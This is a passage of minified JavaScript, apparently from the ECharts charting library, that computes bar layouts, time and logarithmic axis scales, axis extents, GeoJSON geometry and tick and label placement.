r=e.width;t&&(r=Math.min(r,t)),n&&(r=Math.max(r,n)),e.width=r,l-=r+c*r,u--}else{var r=d;t&&t<r&&(r=Math.min(t,l)),n&&n>r&&(r=n),r!==d&&(e.width=r,l-=r+c*r,u--)}}),d=(l-s)/(u+(u-1)*c),d=Math.max(d,0);var f=0,p;L(r,function(e,t){e.width||=d,p=e,f+=e.width*(1+c)}),p&&(f-=p.width*c);var m=-f/2;L(r,function(e,r){n[t][r]=n[t][r]||{bandWidth:i,offset:m,width:e.width},m+=e.width*(1+c)})}),n}function WT(e,t,n){if(e&&t){var r=e[RT(t)];return r!=null&&n!=null?r[LT(n)]:r}}function GT(e,t){var n=BT(e,t),r=HT(n);L(n,function(e){var t=e.getData(),n=e.coordinateSystem.getBaseAxis(),i=LT(e),a=r[RT(n)][i],o=a.offset,s=a.width;t.setLayout({bandWidth:a.bandWidth,offset:o,size:s})})}function KT(e){return{seriesType:e,plan:Db(),reset:function(e){if(qT(e)){var t=e.getData(),n=e.coordinateSystem,r=n.getBaseAxis(),i=n.getOtherAxis(r),a=t.getDimensionIndex(t.mapDimension(i.dim)),o=t.getDimensionIndex(t.mapDimension(r.dim)),s=e.get(`showBackground`,!0),c=t.mapDimension(i.dim),l=t.getCalculationInfo(`stackResultDimension`),u=cT(t,c)&&!!t.getCalculationInfo(`stackedOnSeries`),d=i.isHorizontal(),f=YT(r,i),p=JT(e),m=e.get(`barMinHeight`)||0,h=l&&t.getDimensionIndex(l),g=t.getLayout(`size`),_=t.getLayout(`offset`);return{progress:function(e,t){for(var r=e.count,i=p&&FT(r*3),c=p&&s&&FT(r*3),l=p&&FT(r),v=n.master.getRect(),y=d?v.width:v.height,b,x=t.getStore(),S=0;(b=e.next())!=null;){var C=x.get(u?h:a,b),w=x.get(o,b),T=f,E=void 0;u&&(E=+C-x.get(a,b));var D=void 0,O=void 0,k=void 0,A=void 0;if(d){var j=n.dataToPoint([C,w]);if(u){var ee=n.dataToPoint([E,w]);T=ee[0]}D=T,O=j[1]+_,k=j[0]-T,A=g,Math.abs(k)<m&&(k=(k<0?-1:1)*m)}else{var j=n.dataToPoint([w,C]);if(u){var ee=n.dataToPoint([w,E]);T=ee[1]}D=j[0]+_,O=T,k=g,A=j[1]-T,Math.abs(A)<m&&(A=(A<=0?-1:1)*m)}p?(i[S]=D,i[S+1]=O,i[S+2]=d?k:A,c&&(c[S]=d?v.x:D,c[S+1]=d?O:v.y,c[S+2]=y),l[b]=b):t.setItemLayout(b,{x:D,y:O,width:k,height:A}),S+=3}p&&t.setLayout({largePoints:i,largeDataIndices:l,largeBackgroundPoints:c,valueAxisHorizontal:d})}}}}}}function qT(e){return e.coordinateSystem&&e.coordinateSystem.type===`cartesian2d`}function JT(e){return e.pipelineContext&&e.pipelineContext.large}function YT(e,t){var n=t.model.get(`startValue`);return n||=0,t.toGlobalCoord(t.dataToCoord(t.type===`log`?n>0?n:1:n))}var XT=function(e,t,n,r){for(;n<r;){var i=n+r>>>1;e[i][1]<t?n=i+1:r=i}return n},ZT=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`time`,n}return t.prototype.getLabel=function(e){var t=this.getSetting(`useUTC`);return Jh(e.value,zh[qh(Gh(this._minLevelUnit))]||zh.second,t,this.getSetting(`locale`))},t.prototype.getFormattedLabel=function(e,t,n){var r=this.getSetting(`useUTC`);return Yh(e,t,n,this.getSetting(`locale`),r)},t.prototype.getTicks=function(e){e||={};var t=this._interval,n=this._extent,r=kh(),i=[];if(!t)return i;var a=this.getSetting(`useUTC`);if(r&&e.breakTicks===`only_break`)return kh().addBreaksToTicks(i,this._brkCtx.breaks,this._extent),i;var o=Xh(n[1],a);i.push({value:n[0],time:{level:0,upperTimeUnit:o,lowerTimeUnit:o}});var s=sE(this._minLevelUnit,this._approxInterval,a,n,this._getExtentSpanWithBreaks(),this._brkCtx);i=i.concat(s);var c=Xh(n[1],a);i.push({value:n[1],time:{level:0,upperTimeUnit:c,lowerTimeUnit:c}});var l=this.getSetting(`useUTC`),u=Bh.length-1,d=0;return L(i,function(e){u=Math.min(u,it(Bh,e.time.upperTimeUnit)),d=Math.max(d,e.time.level)}),r&&kh().pruneTicksByBreak(e.pruneByBreak,i,this._brkCtx.breaks,function(e){return e.value},this._approxInterval,this._extent),r&&e.breakTicks!==`none`&&kh().addBreaksToTicks(i,this._brkCtx.breaks,this._extent,function(e){for(var t=Math.max(it(Bh,Xh(e.vmin,l)),it(Bh,Xh(e.vmax,l))),n=0,r=0;r<Bh.length;r++)if(!$T(Bh[r],e.vmin,e.vmax,l)){n=r;break}var i=Math.min(n,u);return{level:d,lowerTimeUnit:Bh[Math.max(i,t)],upperTimeUnit:Bh[i]}}),i},t.prototype.calcNiceExtent=function(e){var t=this.getExtent();if(t[0]===t[1]&&(t[0]-=Nh,t[1]+=Nh),t[1]===-1/0&&t[0]===1/0){var n=new Date;t[1]=+new Date(n.getFullYear(),n.getMonth(),n.getDate()),t[0]=t[1]-Nh}this._innerSetExtent(t[0],t[1]),this.calcNiceTicks(e.splitNumber,e.minInterval,e.maxInterval)},t.prototype.calcNiceTicks=function(e,t,n){e||=10;var r=this._getExtentSpanWithBreaks();this._approxInterval=r/e,t!=null&&this._approxInterval<t&&(this._approxInterval=t),n!=null&&this._approxInterval>n&&(this._approxInterval=n);var i=QT.length,a=Math.min(XT(QT,this._approxInterval,0,i),i-1);this._interval=QT[a][1],this._intervalPrecision=vT(this._interval),this._minLevelUnit=QT[Math.max(a-1,0)][0]},t.prototype.parse=function(e){return ht(e)?e:+vs(e)},t.prototype.contain=function(e){return xT(e,this._extent)},t.prototype.normalize=function(e){return this._calculator.normalize(e,this._extent)},t.prototype.scale=function(e){return this._calculator.scale(e,this._extent)},t.type=`time`,t}(MT),QT=[[`second`,Ah],[`minute`,jh],[`hour`,Mh],[`quarter-day`,Mh*6],[`half-day`,Mh*12],[`day`,Nh*1.2],[`half-week`,Nh*3.5],[`week`,Nh*7],[`month`,Nh*31],[`quarter`,Nh*95],[`half-year`,Ph/2],[`year`,Ph]];function $T(e,t,n,r){return Zh(new Date(t),e,r).getTime()===Zh(new Date(n),e,r).getTime()}function eE(e,t){return e/=Nh,e>16?16:e>7.5?7:e>3.5?4:e>1.5?2:1}function tE(e){var t=30*Nh;return e/=t,e>6?6:e>3?3:e>2?2:1}function nE(e){return e/=Mh,e>12?12:e>6?6:e>3.5?4:e>2?2:1}function rE(e,t){return e/=t?jh:Ah,e>30?30:e>20?20:e>15?15:e>10?10:e>5?5:e>2?2:1}function iE(e){return xs(e,!0)}function aE(e,t,n){var r=Math.max(0,it(Bh,t)-1);return Zh(new Date(e),Bh[r],n).getTime()}function oE(e,t){var n=new Date(0);n[e](1);var r=n.getTime();n[e](1+t);var i=n.getTime()-r;return function(e,t){return Math.max(0,Math.round((t-e)/i))}}function sE(e,t,n,r,i,a){var o=1e4,s=Vh,c=0;function l(e,t,n,i,s,l,u){for(var d=oE(s,e),f=t,p=new Date(f);f<n&&f<=r[1]&&(u.push({value:f}),!(c++>o));)if(p[s](p[i]()+e),f=p.getTime(),a){var m=a.calcNiceTickMultiple(f,d);m>0&&(p[s](p[i]()+m*e),f=p.getTime())}u.push({value:f,notAdd:!0})}function u(e,i,a){var o=[],s=!i.length;if(!$T(Gh(e),r[0],r[1],n)){s&&(i=[{value:aE(r[0],e,n)},{value:r[1]}]);for(var c=0;c<i.length-1;c++){var u=i[c].value,d=i[c+1].value;if(u!==d){var f=void 0,p=void 0,m=void 0,h=!1;switch(e){case`year`:f=Math.max(1,Math.round(t/Nh/365)),p=Qh(n),m=ag(n);break;case`half-year`:case`quarter`:case`month`:f=tE(t),p=$h(n),m=og(n);break;case`week`:case`half-week`:case`day`:f=eE(t,31),p=eg(n),m=sg(n),h=!0;break;case`half-day`:case`quarter-day`:case`hour`:f=nE(t),p=tg(n),m=cg(n);break;case`minute`:f=rE(t,!0),p=ng(n),m=lg(n);break;case`second`:f=rE(t,!1),p=rg(n),m=ug(n);break;case`millisecond`:f=iE(t),p=ig(n),m=dg(n);break}d>=r[0]&&u<=r[1]&&l(f,u,d,p,m,h,o),e===`year`&&a.length>1&&c===0&&a.unshift({value:a[0].value-f})}}for(var c=0;c<o.length;c++)a.push(o[c])}}for(var d=[],f=[],p=0,m=0,h=0;h<s.length;++h){var g=Gh(s[h]);if(Kh(s[h])&&(u(s[h],d[d.length-1]||[],f),g!==(s[h+1]?Gh(s[h+1]):null))){if(f.length){m=p,f.sort(function(e,t){return e.value-t.value});for(var _=[],v=0;v<f.length;++v){var y=f[v].value;(v===0||f[v-1].value!==y)&&(_.push(f[v]),y>=r[0]&&y<=r[1]&&p++)}var b=i/t;if(p>b*1.5&&m>b/1.5||(d.push(_),p>b||e===s[h]))break}f=[]}}for(var x=lt(R(d,function(e){return lt(e,function(e){return e.value>=r[0]&&e.value<=r[1]&&!e.notAdd})}),function(e){return e.length>0}),S=[],C=x.length-1,h=0;h<x.length;++h)for(var w=x[h],T=0;T<w.length;++T){var E=Xh(w[T].value,n);S.push({value:w[T].value,time:{level:C-h,upperTimeUnit:E,lowerTimeUnit:E}})}S.sort(function(e,t){return e.value-t.value});for(var D=[],h=0;h<S.length;++h)(h===0||S[h].value!==S[h-1].value)&&D.push(S[h]);return D}ET.registerClass(ZT);var cE=cs,lE=Math.floor,uE=Math.ceil,dE=Math.pow,fE=Math.log,pE=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`log`,t.base=10,t._originalScale=new MT,t}return t.prototype.getTicks=function(t){t||={};var n=this._extent.slice(),r=this._originalScale.getExtent(),i=e.prototype.getTicks.call(this,t),a=this.base,o=this._originalScale._innerGetBreaks(),s=kh();return R(i,function(e){var t=e.value,i=null,c=dE(a,t);t===n[0]&&this._fixMin?i=r[0]:t===n[1]&&this._fixMax&&(i=r[1]);var l;if(s){var u=s.getTicksLogTransformBreak(e,a,o,mE);l=u.vBreak,i??=u.brkRoundingCriterion}return i!=null&&(c=mE(c,i)),{value:c,break:l}},this)},t.prototype._getNonTransBreaks=function(){return this._originalScale._innerGetBreaks()},t.prototype.setExtent=function(t,n){this._originalScale.setExtent(t,n);var r=TT(this.base,[t,n]);e.prototype.setExtent.call(this,r[0],r[1])},t.prototype.getExtent=function(){var t=this.base,n=e.prototype.getExtent.call(this);n[0]=dE(t,n[0]),n[1]=dE(t,n[1]);var r=this._originalScale.getExtent();return this._fixMin&&(n[0]=mE(n[0],r[0])),this._fixMax&&(n[1]=mE(n[1],r[1])),n},t.prototype.unionExtentFromData=function(e,t){this._originalScale.unionExtentFromData(e,t);var n=TT(this.base,e.getApproximateExtent(t),!0);this._innerUnionExtent(n)},t.prototype.calcNiceTicks=function(e){e||=10;var t=this._extent.slice(),n=this._getExtentSpanWithBreaks();if(!(!isFinite(n)||n<=0)){var r=ys(n);for(e/n*r<=.5&&(r*=10);!isNaN(r)&&Math.abs(r)<1&&Math.abs(r)>0;)r*=10;var i=[cE(uE(t[0]/r)*r),cE(lE(t[1]/r)*r)];this._interval=r,this._intervalPrecision=vT(r),this._niceExtent=i}},t.prototype.calcNiceExtent=function(t){e.prototype.calcNiceExtent.call(this,t),this._fixMin=t.fixMin,this._fixMax=t.fixMax},t.prototype.contain=function(t){return t=fE(t)/fE(this.base),e.prototype.contain.call(this,t)},t.prototype.normalize=function(t){return t=fE(t)/fE(this.base),e.prototype.normalize.call(this,t)},t.prototype.scale=function(t){return t=e.prototype.scale.call(this,t),dE(this.base,t)},t.prototype.setBreaksFromOption=function(e){var t=kh();if(t){var n=t.logarithmicParseBreaksFromOption(e,this.base,z(this.parse,this)),r=n.parsedOriginal,i=n.parsedLogged;this._originalScale._innerSetBreak(r),this._innerSetBreak(i)}},t.type=`log`,t}(MT);function mE(e,t){return cE(e,us(t))}ET.registerClass(pE);var hE=function(){function e(e,t,n){this._prepareParams(e,t,n)}return e.prototype._prepareParams=function(e,t,n){n[1]<n[0]&&(n=[NaN,NaN]),this._dataMin=n[0],this._dataMax=n[1];var r=this._isOrdinal=e.type===`ordinal`;this._needCrossZero=e.type===`interval`&&t.getNeedCrossZero&&t.getNeedCrossZero();var i=t.get(`min`,!0);i??=t.get(`startValue`,!0);var a=this._modelMinRaw=i;V(a)?this._modelMinNum=yE(e,a({min:n[0],max:n[1]})):a!==`dataMin`&&(this._modelMinNum=yE(e,a));var o=this._modelMaxRaw=t.get(`max`,!0);if(V(o)?this._modelMaxNum=yE(e,o({min:n[0],max:n[1]})):o!==`dataMax`&&(this._modelMaxNum=yE(e,o)),r)this._axisDataLen=t.getCategories().length;else{var s=t.get(`boundaryGap`),c=B(s)?s:[s||0,s||0];typeof c[0]==`boolean`||typeof c[1]==`boolean`?this._boundaryGapInner=[0,0]:this._boundaryGapInner=[Do(c[0],1),Do(c[1],1)]}},e.prototype.calculate=function(){var e=this._isOrdinal,t=this._dataMin,n=this._dataMax,r=this._axisDataLen,i=this._boundaryGapInner,a=e?null:n-t||Math.abs(t),o=this._modelMinRaw===`dataMin`?t:this._modelMinNum,s=this._modelMaxRaw===`dataMax`?n:this._modelMaxNum,c=o!=null,l=s!=null;o??=e?r?0:NaN:t-i[0]*a,s??=e?r?r-1:NaN:n+i[1]*a,(o==null||!isFinite(o))&&(o=NaN),(s==null||!isFinite(s))&&(s=NaN);var u=St(o)||St(s)||e&&!r;this._needCrossZero&&(o>0&&s>0&&!c&&(o=0),o<0&&s<0&&!l&&(s=0));var d=this._determinedMin,f=this._determinedMax;return d!=null&&(o=d,c=!0),f!=null&&(s=f,l=!0),{min:o,max:s,minFixed:c,maxFixed:l,isBlank:u}},e.prototype.modifyDataMinMax=function(e,t){this[_E[e]]=t},e.prototype.setDeterminedMinMax=function(e,t){var n=gE[e];this[n]=t},e.prototype.freeze=function(){this.frozen=!0},e}(),gE={min:`_determinedMin`,max:`_determinedMax`},_E={min:`_dataMin`,max:`_dataMax`};function vE(e,t,n){var r=e.rawExtentInfo;return r||(r=new hE(e,t,n),e.rawExtentInfo=r,r)}function yE(e,t){return t==null?null:St(t)?NaN:e.parse(t)}function bE(e,t){var n=e.type,r=vE(e,t,e.getExtent()).calculate();e.setBlank(r.isBlank);var i=r.min,a=r.max,o=t.ecModel;if(o&&n===`time`){var s=BT(`bar`,o),c=!1;if(L(s,function(e){c||=e.getBaseAxis()===t.axis}),c){var l=HT(s),u=xE(i,a,t,l);i=u.min,a=u.max}}return{extent:[i,a],fixMin:r.minFixed,fixMax:r.maxFixed}}function xE(e,t,n,r){var i=n.axis.getExtent(),a=Math.abs(i[1]-i[0]),o=WT(r,n.axis);if(o===void 0)return{min:e,max:t};var s=1/0;L(o,function(e){s=Math.min(e.offset,s)});var c=-1/0;L(o,function(e){c=Math.max(e.offset+e.width,c)}),s=Math.abs(s),c=Math.abs(c);var l=s+c,u=t-e,d=u/(1-(s+c)/a)-u;return t+=c/l*d,e-=s/l*d,{min:e,max:t}}function SE(e,t){var n=t,r=bE(e,n),i=r.extent,a=n.get(`splitNumber`);e instanceof pE&&(e.base=n.get(`logBase`));var o=e.type,s=n.get(`interval`),c=o===`interval`||o===`time`;e.setBreaksFromOption(NE(n)),e.setExtent(i[0],i[1]),e.calcNiceExtent({splitNumber:a,fixMin:r.fixMin,fixMax:r.fixMax,minInterval:c?n.get(`minInterval`):null,maxInterval:c?n.get(`maxInterval`):null}),s!=null&&e.setInterval&&e.setInterval(s)}function CE(e,t){if(t||=e.get(`type`),t)switch(t){case`category`:return new AT({ordinalMeta:e.getOrdinalMeta?e.getOrdinalMeta():e.getCategories(),extent:[1/0,-1/0]});case`time`:return new ZT({locale:e.ecModel.getLocaleModel(),useUTC:e.ecModel.get(`useUTC`)});default:return new((ET.getClass(t))||MT)}}function wE(e){var t=e.scale.getExtent(),n=t[0],r=t[1];return!(n>0&&r>0||n<0&&r<0)}function TE(e){var t=e.getLabelModel().get(`formatter`);if(e.type===`time`){var n=Hh(t);return function(t,r){return e.scale.getFormattedLabel(t,r,n)}}else if(H(t))return function(n){var r=e.scale.getLabel(n);return t.replace(`{value}`,r??``)};else if(V(t)){if(e.type===`category`)return function(n,r){return t(EE(e,n),n.value-e.scale.getExtent()[0],null)};var r=kh();return function(n,i){var a=null;return r&&(a=r.makeAxisLabelFormatterParamBreak(a,n.break)),t(EE(e,n),i,a)}}else return function(t){return e.scale.getLabel(t)}}function EE(e,t){return e.type===`category`?e.scale.getLabel(t):t.value}function DE(e){return e.get(`interval`)??`auto`}function OE(e){return e.type===`category`&&DE(e.getLabelModel())===0}function kE(e,t){var n={};return L(e.mapDimensionsAll(t),function(t){n[lT(e,t)]=!0}),dt(n)}function AE(e,t,n){t&&L(kE(t,n),function(n){var r=t.getApproximateExtent(n);r[0]<e[0]&&(e[0]=r[0]),r[1]>e[1]&&(e[1]=r[1])})}function jE(e){return e===`middle`||e===`center`}function ME(e){return e.getShallow(`show`)}function NE(e){var t=e.get(`breaks`,!0);if(t!=null)return!kh()||!PE(e.axis)?void 0:t}function PE(e){return(e.dim===`x`||e.dim===`y`||e.dim===`z`||e.dim===`single`)&&e.type!==`category`}var FE=function(){function e(){}return e.prototype.getNeedCrossZero=function(){return!this.option.scale},e.prototype.getCoordSysModel=function(){},e}(),IE=1e-8;function LE(e,t){return Math.abs(e-t)<IE}function RE(e,t,n){var r=0,i=e[0];if(!i)return!1;for(var a=1;a<e.length;a++){var o=e[a];r+=ou(i[0],i[1],o[0],o[1],t,n),i=o}var s=e[0];return(!LE(i[0],s[0])||!LE(i[1],s[1]))&&(r+=ou(i[0],i[1],s[0],s[1],t,n)),r!==0}var zE=[];function BE(e,t){for(var n=0;n<e.length;n++)rn(e[n],e[n],t)}function VE(e,t,n,r){for(var i=0;i<e.length;i++){var a=e[i];r&&(a=r.project(a)),a&&isFinite(a[0])&&isFinite(a[1])&&(an(t,t,a),on(n,n,a))}}function HE(e){for(var t=0,n=0,r=0,i=e.length,a=e[i-1][0],o=e[i-1][1],s=0;s<i;s++){var c=e[s][0],l=e[s][1],u=a*l-c*o;t+=u,n+=(a+c)*u,r+=(o+l)*u,a=c,o=l}return t?[n/t/3,r/t/3,t]:[e[0][0]||0,e[0][1]||0]}var UE=function(){function e(e){this.name=e}return e.prototype.setCenter=function(e){this._center=e},e.prototype.getCenter=function(){var e=this._center;return e||=this._center=this.calcCenter(),e},e}(),WE=function(){function e(e,t){this.type=`polygon`,this.exterior=e,this.interiors=t}return e}(),GE=function(){function e(e){this.type=`linestring`,this.points=e}return e}(),KE=function(e){N(t,e);function t(t,n,r){var i=e.call(this,t)||this;return i.type=`geoJSON`,i.geometries=n,i._center=r&&[r[0],r[1]],i}return t.prototype.calcCenter=function(){for(var e=this.geometries,t,n=0,r=0;r<e.length;r++){var i=e[r],a=i.exterior,o=a&&a.length;o>n&&(t=i,n=o)}if(t)return HE(t.exterior);var s=this.getBoundingRect();return[s.x+s.width/2,s.y+s.height/2]},t.prototype.getBoundingRect=function(e){var t=this._rect;if(t&&!e)return t;var n=[1/0,1/0],r=[-1/0,-1/0],i=this.geometries;return L(i,function(t){t.type===`polygon`?VE(t.exterior,n,r,e):L(t.points,function(t){VE(t,n,r,e)})}),isFinite(n[0])&&isFinite(n[1])&&isFinite(r[0])&&isFinite(r[1])||(n[0]=n[1]=r[0]=r[1]=0),t=new J(n[0],n[1],r[0]-n[0],r[1]-n[1]),e||(this._rect=t),t},t.prototype.contain=function(e){var t=this.getBoundingRect(),n=this.geometries;if(!t.contain(e[0],e[1]))return!1;loopGeo:for(var r=0,i=n.length;r<i;r++){var a=n[r];if(a.type===`polygon`){var o=a.exterior,s=a.interiors;if(RE(o,e[0],e[1])){for(var c=0;c<(s?s.length:0);c++)if(RE(s[c],e[0],e[1]))continue loopGeo;return!0}}}return!1},t.prototype.transformTo=function(e,t,n,r){var i=this.getBoundingRect(),a=i.width/i.height;n?r||=n/a:n=a*r;for(var o=new J(e,t,n,r),s=i.calculateTransform(o),c=this.geometries,l=0;l<c.length;l++){var u=c[l];u.type===`polygon`?(BE(u.exterior,s),L(u.interiors,function(e){BE(e,s)})):L(u.points,function(e){BE(e,s)})}i=this._rect,i.copy(o),this._center=[i.x+i.width/2,i.y+i.height/2]},t.prototype.cloneShallow=function(e){e??=this.name;var n=new t(e,this.geometries,this._center);return n._rect=this._rect,n.transformTo=null,n},t}(UE),qE=function(e){N(t,e);function t(t,n){var r=e.call(this,t)||this;return r.type=`geoSVG`,r._elOnlyForCalculate=n,r}return t.prototype.calcCenter=function(){for(var e=this._elOnlyForCalculate,t=e.getBoundingRect(),n=[t.x+t.width/2,t.y+t.height/2],r=Vn(zE),i=e;i&&!i.isGeoSVGGraphicRoot;)Un(r,i.getLocalTransform(),r),i=i.parent;return qn(r,r),rn(n,n,r),n},t}(UE);function JE(e){if(!e.UTF8Encoding)return e;var t=e,n=t.UTF8Scale;n??=1024;var r=t.features;return L(r,function(e){var t=e.geometry,r=t.encodeOffsets,i=t.coordinates;if(r)switch(t.type){case`LineString`:t.coordinates=XE(i,r,n);break;case`Polygon`:YE(i,r,n);break;case`MultiLineString`:YE(i,r,n);break;case`MultiPolygon`:L(i,function(e,t){return YE(e,r[t],n)})}}),t.UTF8Encoding=!1,t}function YE(e,t,n){for(var r=0;r<e.length;r++)e[r]=XE(e[r],t[r],n)}function XE(e,t,n){for(var r=[],i=t[0],a=t[1],o=0;o<e.length;o+=2){var s=e.charCodeAt(o)-64,c=e.charCodeAt(o+1)-64;s=s>>1^-(s&1),c=c>>1^-(c&1),s+=i,c+=a,i=s,a=c,r.push([s/n,c/n])}return r}function ZE(e,t){return e=JE(e),R(lt(e.features,function(e){return e.geometry&&e.properties&&e.geometry.coordinates.length>0}),function(e){var n=e.properties,r=e.geometry,i=[];switch(r.type){case`Polygon`:var a=r.coordinates;i.push(new WE(a[0],a.slice(1)));break;case`MultiPolygon`:L(r.coordinates,function(e){e[0]&&i.push(new WE(e[0],e.slice(1)))});break;case`LineString`:i.push(new GE([r.coordinates]));break;case`MultiLineString`:i.push(new GE(r.coordinates))}var o=new KE(n[t||`name`],i,n.cp);return o.properties=n,o})}var QE=oc(),$E=oc(),eD={estimate:1,determine:2};function tD(e){return{out:{noPxChangeTryDetermine:[]},kind:e}}function nD(e,t){var n=R(t,function(t){return e.scale.parse(t)});return e.type===`time`&&n.length>0&&(n.sort(),n.unshift(n[0]),n.push(n[n.length-1])),n}function rD(e,t){var n=e.getLabelModel().get(`customValues`);if(n){var r=TE(e),i=e.scale.getExtent();return{labels:R(lt(nD(e,n),function(e){return e>=i[0]&&e<=i[1]}),function(t){var n={value:t};return{formattedLabel:r(n),rawLabel:e.scale.getLabel(n),tickValue:t,time:void 0,break:void 0}})}}return e.type===`category`?aD(e,t):cD(e)}function iD(e,t,n){var r=e.getTickModel().get(`customValues`);if(r){var i=e.scale.getExtent();return{ticks:lt(nD(e,r),function(e){return e>=i[0]&&e<=i[1]})}}return e.type===`category`?sD(e,t):{ticks:R(e.scale.getTicks(n),function(e){return e.value})}}function aD(e,t){var n=e.getLabelModel(),r=oD(e,n,t);return!n.get(`show`)||e.scale.isBlank()?{labels:[]}:r}function oD(e,t,n){var r=uD(e),i=DE(t),a=n.kind===eD.estimate;if(!a){var o=fD(r,i);if(o)return o}var s,c;V(i)?s=bD(e,i):(c=i===`auto`?mD(e,n):i,s=yD(e,c));var l={labels:s,labelCategoryInterval:c};return a?n.out.noPxChangeTryDetermine.push(function(){return pD(r,i,l),!0}):pD(r,i,l),l}function sD(e,t){var n=lD(e),r=DE(t),i=fD(n,r);if(i)return i;var a,o;if((!t.get(`show`)||e.scale.isBlank())&&(a=[]),V(r))a=bD(e,r,!0);else if(r===`auto`){var s=oD(e,e.getLabelModel(),tD(eD.determine));o=s.labelCategoryInterval,a=R(s.labels,function(e){return e.tickValue})}else o=r,a=yD(e,o,!0);return pD(n,r,{ticks:a,tickCategoryInterval:o})}function cD(e){var t=e.scale.getTicks(),n=TE(e);return{labels:R(t,function(t,r){return{formattedLabel:n(t,r),rawLabel:e.scale.getLabel(t),tickValue:t.value,time:t.time,break:t.break}})}}var lD=dD(`axisTick`),uD=dD(`axisLabel`);function dD(e){return function(t){return $E(t)[e]||($E(t)[e]={list:[]})}}function fD(e,t){for(var n=0;n<e.list.length;n++)if(e.list[n].key===t)return e.list[n].value}function pD(e,t,n){return e.list.push({key:t,value:n}),n}function mD(e,t){if(t.kind===eD.estimate){var n=e.calculateCategoryInterval(t);return t.out.noPxChangeTryDetermine.push(function(){return $E(e).autoInterval=n,!0}),n}return $E(e).autoInterval??($E(e).autoInterval=e.calculateCategoryInterval(t))}function hD(e,t){var n=t.kind,r=vD(e),i=TE(e),a=(r.axisRotate-r.labelRotate)/180*Math.PI,o=e.scale,s=o.getExtent(),c=o.count();if(s[1]-s[0]<1)return 0;var l=1,u=40;c>u&&(l=Math.max(1,Math.floor(c/u)));for(var d=s[0],f=e.dataToCoord(d+1)-e.dataToCoord(d),p=Math.abs(f*Math.cos(a)),m=Math.abs(f*Math.sin(a)),h=0,g=0;d<=s[1];d+=l){var _=0,v=0,y=Co(i({value:d}),r.font,`center`,`top`);_=y.width*1.3,v=y.height*1.3,h=Math.max(h,_,7),g=Math.max(g,v,7)}var b=h/p,x=g/m;isNaN(b)&&(b=1/0),isNaN(x)&&(x=1/0);var S=Math.max(0,Math.floor(Math.min(b,x)));return n===eD.estimate?(t.out.noPxChangeTryDetermine.push(z(gD,null,e,S,c)),S):_D(e,S,c)??S}function gD(e,t,n){return _D(e,t,n)==null}function _D(e,t,n){var r=QE(e.model),i=e.getExtent(),a=r.lastAutoInterval,o=r.lastTickCount;if(a!=null&&o!=null&&Math.abs(a-t)<=1&&Math.abs(o-n)<=1&&a>t&&r.axisExtent0===i[0]&&r.axisExtent1===i[1])return a;r.lastTickCount=n,r.lastAutoInterval=t,r.axisExtent0=i[0],r.axisExtent1=i[1]}function vD(e){var t=e.getLabelModel();return{axisRotate:e.getRotate?e.getRotate():e.isHorizontal&&!e.isHorizontal()?90:0,labelRotate:t.get(`rotate`)||0,font:t.getFont()}}function yD(e,t,n){var r=TE(e),i=e.scale,a=i.getExtent(),o=e.getLabelModel(),s=[],c=Math.max((t||0)+1,1),l=a[0],u=i.count();l!==0&&c>1&&u/c>2&&(l=Math.round(Math.ceil(l/c)*c));var d=OE(e),f=o.get(`showMinLabel`)||d,p=o.get(`showMaxLabel`)||d;f&&l!==a[0]&&h(a[0]);for(var m=l;m<=a[1];m+=c)h(m);p&&m-c!==a[1]&&h(a[1]);function h(e){var t={value:e};s.push(n?e:{formattedLabel:r(t),rawLabel:i.getLabel(t),tickValue:e,time:void 0,break:void 0})}return s}function bD(e,t,n){var r=e.scale,i=TE(e),a=[];return L(r.getTicks(),function(e){var o=r.getLabel(e),s=e.value;t(e.value,o)&&a.push(n?s:{formattedLabel:i(e),rawLabel:o,tickValue:s,time:void 0,break:void 0})}),a}var xD=[0,1],SD=function(){function e(e,t,n){this.onBand=!1,this.inverse=!1,this.dim=e,this.scale=t,this._extent=n||[0,0]}return e.prototype.contain=function(e){var t=this._extent,n=Math.min(t[0],t[1]),r=Math.max(t[0],t[1]);return e>=n&&e<=r},e.prototype.containData=function(e){return this.scale.contain(this.scale.parse(e))},e.prototype.getExtent=function(){return this._extent.slice()},e.prototype.getPixelPrecision=function(e){return fs(e||this.scale.getExtent(),this._extent)},e.prototype.setExtent=function(e,t){var n=this._extent;n[0]=e,n[1]=t},e.prototype.dataToCoord=function(e,t){var n=this._extent,r=this.scale;return e=r.normalize(r.parse(e)),this.onBand&&r.type===`ordinal`&&(n=n.slice(),CD(n,r.count())),as(e,xD,n,t)},e.prototype.coordToData=function(e,t){var n=this._extent,r=this.scale;this.onBand&&r.type===`ordinal`&&(n=n.slice(),CD(n,r.count()));var i=as(e,n,xD,t);return this.scale.scale(i)},e.prototype.pointToData=function(e,t){},e.prototype.getTicksCoords=function(e){e||={};var t=e.tickModel||this.getTickModel(),n=iD(this,t,{breakTicks:e.breakTicks,pruneByBreak:e.pruneByBreak}).ticks,r=R(n,function(e){return{coord:this.dataToCoord(this.scale.type===`ordinal`?this.scale.getRawOrdinalNumber(e):e),tickValue:e}},this),i=t.get(`alignWithLabel`);return wD(this,r,i,e.clamp),r},e.prototype.getMinorTicksCoords=function(){if(this.scale.type===`ordinal`)return[];var e=this.model.getModel(`minorTick`).get(`splitNumber`);return e>0&&e<100||(e=5),R(this.scale.getMinorTicks(e),function(e){return R(e,function(e){return{coord:this.dataToCoord(e),tickValue:e}},this)},this)},e.prototype.getViewLabels=function(e){return e||=tD(eD.determine),rD(this,e).labels},e.prototype.getLabelModel=function(){return this.model.getModel(`axisLabel`)},e.prototype.getTickModel=function(){return this.model.getModel(`axisTick`)},e.prototype.getBandWidth=function(){var e=this._extent,t=this.scale.getExtent(),n=t[1]-t[0]+ +!!this.onBand;n===0&&(n=1);var r=Math.abs(e[1]-e[0]);return Math.abs(r)/n},e.prototype.calculateCategoryInterval=function(e){return e||=tD(eD.determine),hD(this,e)},e}();function CD(e,t){var n=(e[1]-e[0])/t/2;e[0]+=n,e[1]-=n}function wD(e,t,n,r){var i=t.length;if(!e.onBand||n||!i)return;var a=e.getExtent(),o,s;if(i===1)t[0].coord=a[0],t[0].onBand=!0,o=t[1]={coord:a[1],tickValue:t[0].tickValue,onBand:!0};else{var c=t[i-1].tickValue-t[0].tickValue,l=(t[i-1].coord-t[0].coord)/c;L(t,function(e){e.coord-=l/2,e.onBand=!0});var u=e.scale.getExtent();s=1+u[1]-t[i-1].tickValue,o={coord:t[i-1].coord+l*s,tickValue:u[1]+1,onBand:!0},t.push(o)}var 